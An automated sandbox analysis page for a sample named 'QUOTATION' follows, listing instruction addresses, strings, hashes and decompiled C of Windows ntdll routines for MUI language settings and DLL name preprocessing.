0x3377dea5
0x3377ddde
0x3371f588
0x3371f58d
0x3371f58f
0x3377ded7
0x3371f595
0x3371f595
0x3371f595
0x3371f597
0x3371f59a
0x3377dee1
0x3377deea
0x3377def0
0x3377defb
0x3377defd
0x3377df08
0x3377df08
0x3377df08
0x3377df2b
0x3377df2b
0x3377def0
0x3371f5a0
0x3371f5a5
0x3371f5aa
0x3371f5af
0x3371f5b1
0x3377df3e
0x3371f5b7
0x3371f5b7
0x3371f5b7
0x3371f5b9
0x3371f5bc
0x3377df4a
0x3377df4c
0x3377df57
0x3377df57
0x3377df57
0x3377df5c
0x3377df5d
0x3377df61
0x3377df7c
0x3377df88
0x3377df89
0x3377df8d
0x3377df8d
0x00000000
0x3371f5bc
0x3371f4e1
0x3371f2a7
0x3371f2ad
0x3371f2b6
0x3371f2ba
0x3371f2bc
0x3377df97
0x3377df9d
0x3377df9d
0x3371f2c4
0x3371f2c7
0x3371f2cb
0x3371f2cd
0x3371f2d2
0x3371f2d6
0x3371f3c8
0x3371f3c8
0x3371f2dc
0x3371f2e1
0x3371f2e3
0x3377e0ed
0x3377e0f3
0x00000000
0x00000000
0x3377e0f9
0x00000000
0x3377e0f9
0x3371f2e9
0x3371f2eb
0x3371f2ef
0x3371f2f3
0x3371f302
0x3371f302
0x3371f304
0x3371f346
0x3371f346
0x3371f348
0x3371f34c
0x3371f3ea
0x3371f3f2
0x3371f3f6
0x3371f402
0x3371f406
0x3377e046
0x3377e049
0x3377e057
0x3377e05d
0x3377e05d
0x3371f40c
0x3371f410
0x3371f413
0x3371f423
0x3371f426
0x3371f428
0x3371f42e
0x3371f434
0x3377dfe4
0x3377dfe7
0x3377dfed
0x3377dff3
0x3377dff6
0x3377e015
0x3377e01a
0x3377dff8
0x3377e00d
0x3377e012
0x3377e020
0x3377e025
0x3377e02b
0x3377e031
0x3377e033
0x3377e038
0x3377e038
0x3377e03d
0x3377e03d
0x3377dfe7
0x3371f43a
0x3371f43d
0x3371f440
0x3371f442
0x3371f470
0x3371f471
0x3371f475
0x3371f47a
0x3371f47c
0x3371f47d
0x3371f47e
0x3371f47f
0x3371f482
0x3371f483
0x3371f488
0x3371f48c
0x3371f48c
0x3371f444
0x3371f444
0x3371f444
0x3371f446
0x3371f451
0x3371f451
0x3371f406
0x3371f36b
0x3371f37a
0x3371f37f
0x3371f384
0x3371f389
0x3371f38b
0x3377e06d
0x3371f391
0x3371f391
0x3371f391
0x3371f393
0x3371f396
0x3377e077
0x3377e080
0x3377e086
0x3377e091
0x3377e093
0x3377e09e
0x3377e09e
0x3377e09e
0x3377e0bb
0x3377e0bb
0x3377e086
0x3371f39c
0x3371f3a1
0x3371f3a6
0x3371f3a8
0x3377e0ce
0x3371f3ae
0x3371f3ae
0x3371f3ae
0x3371f3b0
0x3371f3b3
0x00000000
0x3371f3b9
0x3377e0dd
0x3377e0df
0x3377df70
0x3377df70
0x3377df70
0x3377df79
0x3377df7a
0x3377df7b
0x00000000
0x3377df7b
0x3371f3b3
0x3371f306
0x3371f31a
0x3371f31f
0x3371f321
0x00000000
0x00000000
0x3371f327
0x3371f32c
0x3371f32e
0x3377dfaf
0x3371f334
0x3371f334
0x3371f334
0x3371f339
0x3371f33c
0x3377dfb9
0x3377dfc2
0x3377dfc8
0x3377dfda
0x3377dfda
0x3377dfc8
0x3371f342
0x00000000
0x3371f342
0x3371f2f9
0x3371f2fc
0x3371f3d0
0x3371f3d2
0x00000000
0x00000000
0x3371f3d8
0x3371f3db
0x00000000
0x3371f3e1
0x00000000
0x3371f3e1
0x3371f3db
0x00000000
0x3371f2fc
0x3371f14a
0x3371f150
0x3377dc6e
0x00000000
0x3377dc6e
0x3371f159
0x3371f15b
0x3371f162
0x3371f1d0
0x00000000
0x3371f17b
0x3371f184
0x3371f189
0x3371f18c
0x3371f18e
0x3371f19e
0x00000000
0x3371f1a0
0x3371f1a3
0x3371f1b1
0x3371f1ba
0x3371f1be
0x3371f1c5
0x3371f1dc
0x3371f1e4
0x3371f1e9
0x3371f1eb
0x3371f1ef
0x3371f1f4
0x3371f1fa
0x3371f1fa
0x3371f1eb
0x00000000
0x3371f1c5
0x3371f19e

Strings

(LONG)FreeEntry->Size > 1, xrefs: 3377E020
(!TrailingUCR), xrefs: 3377E138
HEAP: , xrefs: 3377DCF3, 3377DE37, 3377E015, 3377E12D
HEAP[%wZ]: , xrefs: 3377DCE6, 3377DE2A, 3377E008, 3377E120
((LONG)FreeEntry->Size > 1), xrefs: 3377DE42
(UCRBlock != NULL), xrefs: 3377DCFE

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: b643df9c10a9648e0db7d1f29970e0e30235bf8674234eb5971b22eb22c0e347
Instruction ID: 61c91e410d001bf72ba8b108d0b472e9a8350a076839322366cbc1c20760362c
Opcode Fuzzy Hash: b643df9c10a9648e0db7d1f29970e0e30235bf8674234eb5971b22eb22c0e347
Instruction Fuzzy Hash: CC420176A18781DFD701CF28C488B2AB7E6FF88354F084A69E895CF652DB30D852CB51

Uniqueness

Uniqueness Score: -1.00%

Function 3374510F Relevance: 7.9, Strings: 6, Instructions: 434
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E3374510F(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E33748BD1(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E33748BD1(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E33748BD1(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E33748BD1(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E33748BD1(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t71 = _v12 + 4; // 0x6
						_t255 = _t71;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = E33735D90(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E337688C0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E3376A8B0(_t276, ";");
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E33765050(0,  &_v68, _t170);
									_t86 =  &_v24; // 0x33742e68
									if(E337456E0( &_v68, _t86) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E33765050(_t257,  &_v68, _t243);
								_t80 =  &_v24; // 0x33742e68
								if(E337456E0( &_v68, _t80) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E3376A8B0(_t278, ";");
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t48 = _v12 + 4; // 0x6
					_t260 = _t48;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = E33735D90(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E337688C0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E3376A8B0(_v16, ";");
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E33765050(_t262,  &_v68, _t244);
								_t125 =  &_v24; // 0x33742e68
								if(E337456E0( &_v68, _t125) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E3376A8B0(_t282, ";");
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E33765050(_t262,  &_v68, _t201);
							_t58 =  &_v24; // 0x33742e68
							if(E337456E0( &_v68, _t58) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t26 = _v12 + 4; // 0x6
				_t264 = _t26;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = E33735D90(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E337688C0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E3376A8B0(_t280, ";");
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E33765050(_t267,  &_v68, _t245);
							_t117 =  &_v24; // 0x33742e68
							if(E337456E0( &_v68, _t117) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E3376A8B0(_t284, ";");
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E33765050(_t267,  &_v68, _t224);
						_t35 =  &_v24; // 0x33742e68
						if(E337456E0( &_v68, _t35) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x33745117
0x3374511d
0x3374511f
0x33745121
0x33745124
0x33745127
0x3374512a
0x3374512d
0x33745130
0x33745133
0x33745136
0x3374513a
0x3374513c
0x33745141
0x3378b9ab
0x3378b9b0
0x33745460
0x33745463
0x33745469
0x3374546f
0x33745475
0x3374547b
0x33745481
0x33745484
0x3374548a
0x33745491
0x33745496
0x33745496
0x3374515e
0x3378b9b7
0x3378b9c1
0x3378b9d0
0x3378b9d0
0x3378b9d5
0x3378b9d5
0x3374517b
0x3374518a
0x33745190
0x33745195
0x33745195
0x337451af
0x3374526f
0x33745286
0x33745348
0x3374535f
0x33745446
0x33745446
0x33745449
0x33745449
0x3374544b
0x3374544f
0x3378bae9
0x3378bae9
0x33745455
0x3374545a
0x3378baf5
0x3378bb08
0x3378bb0f
0x3378bb11
0x3378bb14
0x3378bb14
0x3378baf5
0x00000000
0x3374545a
0x33745368
0x33745368
0x3374536b
0x33745370
0x3378baa5
0x3378baa7
0x33745376
0x33745387
0x33745389
0x3374538c
0x3374538c
0x33745391
0x3378baaf
0x3378bab2
0x00000000
0x33745397
0x3374539c
0x337453a4
0x337453b2
0x337453b5
0x337453b8
0x337453fc
0x337453fc
0x33745404
0x3374540b
0x33745410
0x3374541f
0x33745421
0x33745421
0x3374541f
0x33745424
0x3378babf
0x3378bacc
0x3378bad1
0x3378bad4
0x3374542a
0x3374542a
0x3374542a
0x3374542c
0x33745431
0x3374543e
0x3374543e
0x33745443
0x00000000
0x33745443
0x337453ba
0x337453bd
0x337453bf
0x337453c2
0x337453ca
0x337453cf
0x337453de
0x337453e0
0x337453e0
0x337453e7
0x337453ee
0x337453f1
0x337453f2
0x337453f6
0x337453f9
0x00000000
0x337453f9
0x33745391
0x3374528f
0x3374528f
0x33745292
0x33745297
0x3378ba41
0x3378ba43
0x3374529d
0x337452ae
0x337452b0
0x337452b3
0x337452b3
0x337452b8
0x3378ba4b
0x3378ba4e
0x00000000
0x337452be
0x337452c3
0x337452c8
0x337452cb
0x337452ce
0x337452dd
0x337452e0
0x337452e3
0x3378ba58
0x3378ba5b
0x3378ba5d
0x3378ba60
0x3378ba68
0x3378ba6d
0x3378ba7c
0x3378ba7e
0x3378ba7e
0x3378ba85
0x3378ba8c
0x3378ba8f
0x3378ba90
0x3378ba94
0x3378ba97
0x3378ba97
0x337452e9
0x337452ec
0x337452f1
0x337452f8
0x337452fd
0x3374530c
0x3378ba9f
0x3378ba9f
0x3374530c
0x33745314
0x33745323
0x33745328
0x3374532b
0x3374532b
0x3374532e
0x33745333
0x33745340
0x33745340
0x33745345
0x00000000
0x33745345
0x337452b8
0x337451b8
0x337451b8
0x337451bb
0x337451c0
0x3378b9dd
0x337451c6
0x337451d2
0x337451d7
0x337451d9
0x337451dc
0x337451dc
0x337451e1
0x3378b9e5
0x3378b9e7
0x3378b9ec
0x00000000
0x337451e7
0x337451ec
0x337451f1
0x337451f4
0x33745204
0x33745207
0x3374520a
0x3378b9f4
0x3378b9f7
0x3378b9f9
0x3378b9fc
0x3378ba04
0x3378ba09
0x3378ba18
0x3378ba1a
0x3378ba1a
0x3378ba21
0x3378ba28
0x3378ba2b
0x3378ba2c
0x3378ba30
0x3378ba33
0x3378ba33
0x33745210
0x33745213
0x33745218
0x3374521f
0x33745224
0x33745233
0x3378ba3b
0x3378ba3b
0x33745233
0x3374523b
0x3374524a
0x3374524f
0x33745252
0x33745252
0x33745255
0x3374525a
0x33745267
0x33745267
0x3374526c
0x00000000
0x3374526c

Strings

Kernel-MUI-Language-Allowed, xrefs: 3374519B
h.t3, xrefs: 33745410, 337453CF, 3378BA6D, 337452FD, 3378BA09, 33745224, 33745227, 33745300, 337453D2, 33745413, 3378BA0C, 3378BA70
Kernel-MUI-Language-SKU, xrefs: 3374534B
Kernel-MUI-Language-Disallowed, xrefs: 33745272
Kernel-MUI-Number-Allowed, xrefs: 33745167
WindowsExcludedProcs, xrefs: 3374514A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs$h.t3
API String ID: 0-1922354178
Opcode ID: 29e75f243fad4670afeeca45dfa88437a768fefb4d8a7c28064bd90cc421cb77
Instruction ID: e11f5c80916e335586ef15a9e6d0098a9b1808c0cd37ce2ec01b407de23dd002
Opcode Fuzzy Hash: 29e75f243fad4670afeeca45dfa88437a768fefb4d8a7c28064bd90cc421cb77
Instruction Fuzzy Hash: 74F150B5D01219EFDB11CF98C984ADEBBBDEF086A0F14005AE514EF610EB74AE01DB90

Uniqueness

Uniqueness Score: -1.00%

Function 3373B0D0 Relevance: 7.8, Strings: 6, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E3373B0D0(signed short* __ecx, signed short* __edx, signed int _a4, signed int* _a8) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed short* _v12;
				char _v16;
				signed int _v20;
				char _v28;
				char _v36;
				char _v44;
				signed int _t75;
				char* _t76;
				signed int _t79;
				signed short* _t81;
				signed short* _t89;
				short* _t93;
				signed short* _t96;
				signed int _t97;
				signed int _t103;
				signed int _t112;
				void* _t119;
				char _t128;
				signed int _t134;
				signed short* _t135;
				signed int _t136;
				signed int* _t138;
				signed int _t140;
				signed short _t141;
				void* _t144;
				signed short _t145;
				signed int _t146;
				signed int _t151;
				signed short* _t161;
				signed short _t165;
				signed short _t168;
				signed short* _t183;
				signed int _t184;
				signed int _t186;
				void* _t189;

				_t135 = __ecx;
				_t183 = __edx;
				_v12 = __ecx;
				if(E3373C4A0(0,  &_v16) < 0) {
					_v8 = 0;
				} else {
					_v8 = 1;
				}
				_t138 = _a8;
				_t75 = 0;
				_t184 = 0;
				_v5 = 0;
				if(( *_t138 & 0x00800008) != 0) {
					L16:
					_v12 = _t135;
					if( *_t183 != 0) {
						__eflags =  *0x338137c0 & 0x00000005;
						if(( *0x338137c0 & 0x00000005) != 0) {
							__eflags = _t75;
							_t76 = "SxS";
							if(_t75 == 0) {
								_t76 = "API set";
							}
							_push(_t76);
							_push(_t183);
							E3379E692("minkernel\\ntdll\\ldrutil.c", 0xa78, "LdrpPreprocessDllName", 2, "DLL %wZ was redirected to %wZ by %s\n", _t135);
							_t138 = _a8;
							_t189 = _t189 + 0x20;
						}
						_t79 =  *_t138 | 0x00000200;
						__eflags = _v5;
						 *_t138 = _t79;
						if(_v5 != 0) {
							 *_t138 = _t79 | 0x00000004;
						}
						_t81 = _t183;
						_v12 = _t81;
						L27:
						if(_t184 < 0) {
							goto L83;
						}
						if(( *_t138 & 0x00000200) != 0) {
							E3372FCF0(_t138, _t183);
							_t81 = _v12;
						}
						_t165 = _t81[2];
						_t89 = ( *_t81 & 0x0000ffff) + 0xfffffffe + _t165;
						if(_t89 < _t165) {
							L34:
							_t184 = E3373C7E7(_t183, 0x336f116c);
							goto L39;
						} else {
							while(1) {
								_t140 =  *_t89 & 0x0000ffff;
								if(_t140 == 0x2e) {
									break;
								}
								if(_t140 != 0x2f && _t140 != 0x5c) {
									_t89 = _t89 - 2;
									if(_t89 >= _t165) {
										continue;
									}
								}
								goto L34;
							}
							_t141 = _t183[2];
							_t93 = ( *_t183 & 0x0000ffff) + 0xfffffffe + _t141;
							__eflags = _t93 - _t141;
							if(_t93 < _t141) {
								L38:
								__eflags = 0;
								 *((short*)(_t93 + 2)) = 0;
								L39:
								if(_t184 < 0) {
									goto L83;
								}
								goto L40;
							}
							while(1) {
								__eflags =  *_t93 - 0x2e;
								if( *_t93 != 0x2e) {
									goto L38;
								}
								_t93 = _t93 - 2;
								 *_t183 =  *_t183 + 0xfffe;
								__eflags = _t93 - _t141;
								if(_t93 >= _t141) {
									continue;
								}
								goto L38;
							}
							goto L38;
						}
					}
					_t168 = _t135[2];
					_t96 = ( *_t135 & 0x0000ffff) + 0xfffffffe + _t168;
					if(_t96 < _t168) {
						L22:
						 *_t138 =  *_t138 | 0x00000020;
						_t184 = 0;
						_t97 =  *_t135 & 0x0000ffff;
						if(_t97 == 0) {
							L26:
							_t81 = _t135;
							goto L27;
						}
						_t144 = _t97 + ( *_t183 & 0x0000ffff) + 2;
						if(_t144 > (_t183[1] & 0x0000ffff)) {
							__eflags = _t144 - 0xfffe;
							if(_t144 <= 0xfffe) {
								_t62 = _t144 + 0x3f; // -191
								_t186 = _t62 & 0xffffffc0;
								__eflags = _t186 - 0xfffe;
								if(_t186 > 0xfffe) {
									_t186 = 0xfffe;
								}
								_t145 = _t183[2];
								_t64 =  &(_t183[4]); // 0x1000008
								__eflags = _t145 - _t64;
								if(_t145 == _t64) {
									_t146 = E33735D60(_t186);
									_v20 = _t146;
									__eflags = _t146;
									if(_t146 == 0) {
										goto L80;
									}
									_t103 =  *_t183 & 0x0000ffff;
									__eflags = _t103;
									if(_t103 != 0) {
										E337688C0(_t146, _t183[2], _t103);
										_t146 = _v20;
										_t189 = _t189 + 0xc;
									}
									goto L78;
								} else {
									_t146 = E337A3C57(_t186, _t145);
									L78:
									__eflags = _t146;
									if(_t146 == 0) {
										L80:
										_t184 = 0xc0000017;
										L25:
										_t138 = _a8;
										goto L26;
									}
									_t183[2] = _t146;
									_t183[1] = _t186;
									goto L24;
								}
							}
							_t184 = 0xc0000106;
							goto L25;
						}
						L24:
						_t184 = 0;
						E337688C0(( *_t183 & 0x0000ffff) + _t183[2], _t135[2],  *_t135 & 0x0000ffff);
						_t189 = _t189 + 0xc;
						 *_t183 =  *_t183 + ( *_t135 & 0x0000ffff);
						 *((short*)(_t183[2] + (( *_t183 & 0x0000ffff) >> 1) * 2)) = 0;
						goto L25;
					} else {
						goto L18;
					}
					while(1) {
						L18:
						_t151 =  *_t96 & 0x0000ffff;
						if(_t151 == 0x5c || _t151 == 0x2f) {
							break;
						}
						_t96 = _t96 - 2;
						if(_t96 >= _t168) {
							continue;
						}
						_t138 = _a8;
						goto L22;
					}
					__eflags = L3375432E(_t135) - 5;
					if(__eflags == 0) {
						_t184 = E3373C7E7(_t183, _t135);
						goto L25;
					}
					_t112 = E337423C4(_t135, _t183, __eflags);
					_t138 = _a8;
					_t184 = _t112;
					_t81 = _t135;
					__eflags = _t184;
					if(_t184 < 0) {
						goto L83;
					}
					 *_t138 =  *_t138 | 0x00000600;
					goto L27;
				} else {
					_v5 = 0;
					_v20 =  *[fs:0x30];
					_v7 = 1;
					E3373DF36(0, _t135, 0x14d0);
					asm("sbb edx, edx");
					if(E3374015C( *((intOrPtr*)( *[fs:0x30] + 0x38)), _t135,  ~_a4 & _a4 + 0x0000002c,  &_v6,  &_v28) < 0 || _v6 == 0) {
						_t119 = 0x14d3;
					} else {
						__eflags = _v28;
						if(_v28 == 0) {
							_t119 = 0x14d2;
						} else {
							_t119 = 0x14d1;
						}
					}
					E3373DF36(0, _t135, _t119);
					if(_v6 != 0) {
						__eflags = _v28;
						if(_v28 == 0) {
							_t184 = 0xc0000481;
							goto L14;
						}
						 *_t183 = 0;
						E33765050(0,  &_v44, E337301C0());
						E3373C7E7(_t183,  &_v44);
						E3373C7E7(_t183, 0x336f1008);
						_t184 = E3373C7E7(_t183,  &_v28);
						__eflags = _t184;
						if(_t184 < 0) {
							goto L7;
						}
						_t134 =  *(_v20 + 0x10);
						__eflags = _t134;
						if(_t134 == 0) {
							L53:
							_t128 = 0;
							__eflags = 0;
							L54:
							_t161 = _t183;
							goto L8;
						}
						__eflags =  *(_t134 + 8) & 0x00001000;
						if(( *(_t134 + 8) & 0x00001000) != 0) {
							_t128 = 1;
							goto L54;
						}
						goto L53;
					} else {
						L7:
						_t128 = _v7;
						_t161 = _t135;
						L8:
						if(_t184 < 0) {
							L83:
							__eflags =  *0x338137c0 & 0x00000003;
							if(( *0x338137c0 & 0x00000003) != 0) {
								_push(_t184);
								E3379E692("minkernel\\ntdll\\ldrutil.c", 0xab2, "LdrpPreprocessDllName", 0, "LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx\n", _t135);
							}
							__eflags =  *0x338137c0 & 0x00000010;
							if(( *0x338137c0 & 0x00000010) != 0) {
								asm("int3");
							}
							L40:
							if(_v8 != 0) {
								E3373C4A0(_v16,  &_v16);
							}
							return _t184;
						} else {
							if(_t128 != 0 &&  *0x33815d70 == 0) {
								_t136 = E33739870(1, _t161, 0x336f116c, 0,  &_v36, 0, 0, 0, 0);
								if(_t136 >= 0) {
									_v5 = 1;
									E337423C4( &_v36, _t183, __eflags);
									E3374E3C9( &_v36);
								}
								if(_t136 != 0xc0150008) {
									_t184 = _t136;
								}
								_t135 = _v12;
							}
							L14:
							if(_t184 < 0) {
								goto L83;
							} else {
								_t138 = _a8;
								_t75 = _v5;
								goto L16;
							}
						}
					}
				}
			}

0x3373b0de
0x3373b0e3
0x3373b0e5
0x3373b0ef
0x337881db
0x3373b0f5
0x3373b0f5
0x3373b0f5
0x3373b0f9
0x3373b0fc
0x3373b0fe
0x3373b100
0x3373b109
0x3373b1d5
0x3373b1d9
0x3373b1dc
0x3373b303
0x3373b30a
0x337881f8
0x337881fa
0x337881ff
0x33788201
0x33788201
0x33788206
0x33788207
0x3378821f
0x33788224
0x33788227
0x33788227
0x3373b312
0x3373b317
0x3373b31b
0x3373b31d
0x3373b3ff
0x3373b3ff
0x3373b323
0x3373b325
0x3373b264
0x3373b266
0x00000000
0x00000000
0x3373b272
0x3373b2f6
0x3373b2fb
0x3373b2fb
0x3373b278
0x3373b281
0x3373b285
0x3373b2a0
0x3373b2ac
0x00000000
0x3373b287
0x3373b287
0x3373b287
0x3373b28d
0x00000000
0x00000000
0x3373b292
0x3373b299
0x3373b29e
0x00000000
0x00000000
0x3373b29e
0x00000000
0x3373b292
0x3373b2b3
0x3373b2b9
0x3373b2bb
0x3373b2bd
0x3373b2ca
0x3373b2ca
0x3373b2cc
0x3373b2d0
0x3373b2d2
0x00000000
0x00000000
0x00000000
0x3373b2d2
0x3373b2c0
0x3373b2c0
0x3373b2c4
0x00000000
0x00000000
0x337882bf
0x337882c2
0x337882c5
0x337882c7
0x00000000
0x00000000
0x00000000
0x337882cd
0x00000000
0x3373b2c0
0x3373b285
0x3373b1e5
0x3373b1eb
0x3373b1ef
0x3373b210
0x3373b210
0x3373b213
0x3373b215
0x3373b21b
0x3373b262
0x3373b262
0x00000000
0x3373b262
0x3373b225
0x3373b22d
0x3378823f
0x33788245
0x33788251
0x33788254
0x33788257
0x3378825d
0x3378825f
0x3378825f
0x33788264
0x33788267
0x3378826a
0x3378826c
0x3378827f
0x33788281
0x33788284
0x33788286
0x00000000
0x00000000
0x33788288
0x3378828b
0x3378828e
0x33788295
0x3378829a
0x3378829d
0x3378829d
0x00000000
0x3378826e
0x33788275
0x337882a0
0x337882a0
0x337882a2
0x337882b0
0x337882b0
0x3373b25f
0x3373b25f
0x00000000
0x3373b25f
0x337882a4
0x337882a7
0x00000000
0x337882a7
0x3378826c
0x33788247
0x00000000
0x33788247
0x3373b233
0x3373b236
0x3373b243
0x3373b24b
0x3373b24e
0x3373b25b
0x00000000
0x00000000
0x00000000
0x00000000
0x3373b1f1
0x3373b1f1
0x3373b1f1
0x3373b1f7
0x00000000
0x00000000
0x3373b206
0x3373b20b
0x00000000
0x00000000
0x3373b20d
0x00000000
0x3373b20d
0x3373b3ae
0x3373b3b1
0x33788238
0x00000000
0x33788238
0x3373b3bb
0x3373b3c0
0x3373b3c3
0x3373b3c5
0x3373b3c7
0x3373b3c9
0x00000000
0x00000000
0x3373b3cf
0x00000000
0x3373b10f
0x3373b117
0x3373b123
0x3373b129
0x3373b12d
0x3373b144
0x3373b154
0x3373b160
0x3373b32d
0x3373b32d
0x3373b332
0x337881e4
0x3373b338
0x3373b338
0x3373b338
0x3373b332
0x3373b16a
0x3373b173
0x3373b342
0x3373b347
0x337881ee
0x00000000
0x337881ee
0x3373b34f
0x3373b35c
0x3373b366
0x3373b372
0x3373b381
0x3373b383
0x3373b385
0x00000000
0x00000000
0x3373b38e
